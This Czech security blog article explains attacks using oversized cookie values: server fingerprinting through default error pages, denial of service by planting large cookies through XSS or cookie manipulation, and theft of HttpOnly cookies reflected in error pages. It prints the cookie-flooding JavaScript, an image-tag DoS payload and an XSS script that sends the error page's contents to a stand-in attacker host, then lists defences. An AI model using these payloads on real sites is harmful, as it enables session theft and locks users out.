Zpět na seznam článků     Číst komentáře (3)     Verze pro tisk

Too big cookie value

Autor: .cCuMiNn.   
23.4.2016

Velká hodnota uložená do cookie může způsobit mnoho komplikací počínaje únikem informací o běžícím webovém serveru, přes krádež obsahu session cookies chráněných příznakem HttpOnly, až po odepření služeb (DoS) uživatelům.


Úvod

Ač je to s podivem, skutečně umožňuje pouhé zapsání dlouhého řetězce do cookie provést všechny výše uvedené útoky. Je to dáno tím, že servery neumožňují pracovat s libovolně dlouhými HTTP request hlavičkami. Ve chvíli, kdy útočník odešle na server příliš dlouhý obsah HTTP hlavičky Cookie, může to vyvolat nepříjemnou odezvu ze strany webové aplikace (serveru). Podstatně zajímavějších výsledků ale útočník dosáhne, pokud se mu podaří zapsat libovolný obsah cookies pro konkrétní doménu jiným uživatelům. V tomto textu bych se proto rád zaměřil na jednotlivé hrozby, které jsou právě s příliš velkým obsahem cookies spojeny.

Information Leakage

Jednou ze základních činností, které musí penetrační tester (respektive útočník) během odhalování slabin cílového systému učinit, je identifikace operačního systému, webového serveru, běžících služeb, nebo třeba použitého programovacího jazyka. Vložení příliš velké hodnoty do cookie dokáže v tomto směru díky zobrazené defaultní chybové stránce (nejčastěji se stavovým kódem 400) mnohé napovědět. Stačí, aby útočník navštívil cílovou aplikaci a pro danou doménu si nastavil libovolné cookie delší než limitní velikost povolená pro HTTP hlavičku. U Apache je tento limit defaultně nastaven na 8190 znaků s tím, že je možné jej změnit viz http://httpd.apache.org/docs/2.0/mod/core.html#limitrequestfieldsize.

K nastavení hodnoty cookies lze využít kód javascriptu vložený v konzoli webového prohlížeče, viz níže uvedený kód, případně je k zápisu hodnoty možné použít některý z mnoha dostupných doplňků webového prohlížeče umožňující editaci cookies (například Cookie Manager+ pro Firefox). Request s upravenou respektive přidanou HTTP hlavičkou Cookie lze ale odeslat i jinou cestou (například z modulu Repeater nástroje Burp Suite). Odeslání takto upraveného requestu z externího nástroje má oproti zápisu dat do cookies tu výhodu, že můžete do požadavku zahrnout a odeslat cookie s „neomezeně“ velikou hodnotou. V případě uložení velkého řetězce přímo do cookies v prohlížeči budete totiž omezeni limitem 4KB, který je pro cookies vyhrazen. Pro cílovou doménu proto budete muset nastavit dlouhých cookies více, abyste překročili velikostní limit HTTP hlaviček. Z tohoto důvodu nenastavuje uvedený kód javascriptu pouze jediné cookies, ale raději hned čtyři (pojmenované test1 .. test4), každé s řetězcem dlouhým 4 000 znaků.

  1. document.cookie="test1="+'A'.repeat(4000) + "; expires=Sun, 1-Apr-2020 00:00:01 GMT; path=/";
  2. document.cookie="test2="+'B'.repeat(4000) + "; expires=Sun, 1-Apr-2020 00:00:01 GMT; path=/";
  3. document.cookie="test3="+'C'.repeat(4000) + "; expires=Sun, 1-Apr-2020 00:00:01 GMT; path=/";
  4. document.cookie="test4="+'D'.repeat(4000) + "; expires=Sun, 1-Apr-2020 00:00:01 GMT; path=/";

Odeslání HTTP hlavičky, která přesahuje limitní velikost, bude mít pravděpodobně za následek zobrazení defaultní chybové stránky webového serveru se stavovým kódem 400 (Bad Request, resp. Bad Request – Request Too Long), případně vyvolání jiné chyby (např. s kódem 500). Ukázky několika takových chybových stránek si můžete prohlédnout v následujících screenshotech.

Big Cookie: default error page Big Cookie: default error page Big Cookie: default error page

Na jednom ze screenshotů si můžete všimnout, že webové servery někdy v zápatí svých chybových stránek poskytují informaci o použitém operačním systému, typ a verzi webového serveru, nebo dokonce i verzi interpretu programovacího jazyka. Ani v případě, kdy v zápatí tato informace uvedena není, neodejde ale útočník s prázdnýma rukama. Každý typ webového serveru obsahuje jemu typické defaultní chybové stránky a v nich uvedený text, na jehož základě lze webový server spolehlivě identifikovat. Někdy postačí pouze vzhled takové chybové stránky, který spolehlivě prozradí, jaký webový server naslouchá na protější straně.

K identifikaci webového serveru útočníkovi poslouží dokonce už jen velikost odeslané HTTP hlavičky, při které dojde k vrácení chybové stránky. Rozhodující je také skutečnost, zda se sčítají velikosti všech odeslaných hlaviček, nebo zda musí ke vzniku chyby přesáhnout velikost pouze jedna jediná hlavička.

Zjištění, při jaké velikosti hlavičky dojde k vyvolání chyby, můžete zjistit například modulem Intruder nástroje Burp Suite, jak ukazuje následující video.


Denial of Services (DoS)

Nyní si představte situaci, kdy bude útočník schopen nastavit návštěvníkům Vašeho webu několik cookies s dlouhou hodnotou. Nebude toho naštěstí schopen dosáhnout jen tím, že navštívíte jeho webovou stránku. Webové prohlížeče (v aktuálních verzích) totiž striktně dodržují bezpečnostní politiku Same Origin Policy, která zápis cookies pro cizí domény vylučuje. Stačí ale, aby útočník našel na cílovém webu libovolné místo zranitelné na Cross-Site Scripting a máte zaděláno na problém. Pokud totiž útočník použije při zneužití XSS kód Javascriptu uvedený výše a tím nastaví uživateli nadlimitní hodnoty cookies, pak se s tímto uživatelem můžete na svém webu rozloučit, a to až do doby, než vyprší platnost injektovaných cookies (tu může nastavit rovněž útočník), nebo až si uživatel tyto cookies explicitně odstraní ze svého prohlížeče (což většina běžných uživatelů patrně nesvede). Protože bude prohlížeč napadeného uživatele do komunikace vždy automaticky vkládat uložená cookies, tak se při pokusu o přístup k dané doméně boudou uživateli zobrazovat vždy pouze chybové stránky z výše uvedených screenshotů. Přístup k Vaší službě mu tak bude spolehlivě odepřen (DoS).

Vše si můžete vyzkoušet například v našem testovacím webmailu webmail.hackingvpraxi.cz. Kliknutím na tento odkaz vyvoláte XSS, který Vám přístup do webmailu odepře na jednu hodinu. Poznámka: Příklad je funkční pouze ve Firefoxu. Prohlížeče IE a Chrome, které používají XSS filter, spuštění reflektovaného XSS znemožní.

Snadnější způsob nastavení obsahu cookie pro cílovou doménu může útočníkovi poskytnout aplikace ve chvíli, kdy trpí zranitelností Cookie manipulation. Tato zranitelnost se vyskytuje například ve funkčnosti aplikace, jež přebírá hodnotu z GET požadavku a na jejím základě nastavuje hodnotu cookies odesláním HTTP response hlavičky Set-Cookie. S tímto se často setkáme například při výběru jazyka, kdy aplikaci odesíláme požadavek, jenž může vypadat například takto:

 http://www.example.cz/?lang=EN

Aby aplikace věděla, jaký jazyk má použít při Vaší příští návštěvě, tak si předanou hodnotu uloží právě do cookies:

 Set-Cookie: lang=EN; path=/

Útočníkovi bude v takovém případě pro vyvolání DoS útoku stačit, pokud nás navede na svou stránku s vloženým obrázkem.

 <img src="http://www.example.cz/?lang=AAAAAAAAAAAA-injektovane-velke-cookie">

V historii se vyskytl dokonce případ, kdy bylo k zápisu cookies pro konkrétní doménu možné zneužít Google Analytics. Díky jeho rozšíření nebylo problém odepřít uživatelům služby téměř libovolné aplikace. Více se o tomto problému můžete dočíst v tomto článku.

Dalším ze způsobů, jak uživateli zapsat libovolné hodnoty cookies nabízí také zranitelnost HTTP Response Splitting, s jejíž pomocí jste schopni uživateli injektovat do response serveru hlavičku Set-Cookie.

HttpOnly Cookie Stealing

Při studiu útoků typu Cross-Site Scripting (XSS) Vám pravděpodobně neunikla skutečnost, že je těchto útoků často zneužíváno ke krádeži obsahu cookies uložených u uživatelů a jejich následnému zneužití při Session Stealingu. Jako obrana proti čtení obsahu cookie je v těchto materiálech uváděno zamezit Javascriptu v přístupu k obsahu cookies doplněním příznaku HttpOnly. Zápis příliš dlouhé hodnoty do libovolného cookie může mít ale za následek také reflexi obsahu všech cookie pro danou doménu ve vrácené chybové stránce. Nejčastěji se jedná opět o stránky se stavovým kódem 400, do nichž některé verze webových serverů vkládají obsah, jenž chybu vyvolal, tedy právě předané hodnoty cookies.

Big Cookie: Reflexe cookie s příznakem HttpOnly

Setkat se ale můžete například i se stavovým kódem 500, který hodnoty předaných cookies reflektuje ve svém popisu. Tak tomu je například ve webmailu od Seznamu.

Big Cookie: Reflexe cookie s příznakem HttpOnly

Ke krádeži cookies chráněných příznakem HttpOnly během útoku XSS bude v takovém případě útočníkovi stačit injekce jednoduchého kódu s AJAXovým voláním, viz kód níže. Javascript totiž v tomto případě nebude přistupovat přímo k uloženým hodnotám cookies, ale pouze k vrácenému obsahu webové stránky, nebo k jejímu status kódu.

  1. <script>
  2.   document.cookie="test1="+'A'.repeat(4000) + "; expires=Sun, 1-Apr-2020 00:00:01 GMT; path=/";
  3.   document.cookie="test2="+'B'.repeat(4000) + "; expires=Sun, 1-Apr-2020 00:00:01 GMT; path=/";
  4.   document.cookie="test3="+'C'.repeat(4000) + "; expires=Sun, 1-Apr-2020 00:00:01 GMT; path=/";
  5.   document.cookie="test4="+'D'.repeat(4000) + "; expires=Sun, 1-Apr-2020 00:00:01 GMT; path=/";
  6.      
  7.   xhr =  new XMLHttpRequest();
  8.   if (xhr) {
  9.     xhr.open("GET","/", true);
  10.     xhr.onload = function () {
  11.       xhr2 =  new XMLHttpRequest();
  12.       xhr2.open("GET","http://www.attacker.cz?status=" + encodeURI(xhr.statusText) + "&content=" + encodeURI(xhr.responseText), true);
  13.       xhr2.send();
  14.     }
  15.     xhr.send();
  16.   }
  17.      
  18.   document.cookie="test1=; expires=Thu, 01 Jan 1970 00:00:01 GMT; path=/";
  19.   document.cookie="test2=; expires=Thu, 01 Jan 1970 00:00:01 GMT; path=/";
  20.   document.cookie="test3=; expires=Thu, 01 Jan 1970 00:00:01 GMT; path=/";
  21.   document.cookie="test4=; expires=Thu, 01 Jan 1970 00:00:01 GMT; path=/";  
  22. </script>

Funkce skriptu je následující:

  • Nejprve jsou nastaveny čtyři dlouhé cookies
  • Je odeslán AJAXový požadavek, ke kterému prohlížeč připojí odpovídající cookies
  • Server vrátí na AJAXový požadavek chybovou stránku
  • Skript přečte text Status kódu a obsah chybové stránky
  • Skript odešle získané údaje útočníkovi
  • Skript po sobě uklidí smazáním dlouhých cookies

Obrana

Obrana proti všem variantám zneužití by se dala shrnout do následujících několika bodů

  • Použití WAF (Web Application Firewallu)
  • Změna defaultních chybových stránek
  • Nastavení serveru, aby neprozrazoval svou skutečnou verzi
  • Zamezit reflexi hodnoty cookies v obsahu chybových stránek
  • Ošetřit výskyt zranitelností typu XSS, HTTP Response Splitting a Cookie Manipulation


Líbil se Vám článek?
Budeme potěšeni, pokud vás zaujme také reklamní nabídka

Social Bookmarking

     





Hodnocení/Hlasovalo: 1.06/16

1  2  3  4  5    
(známkování jako ve škole)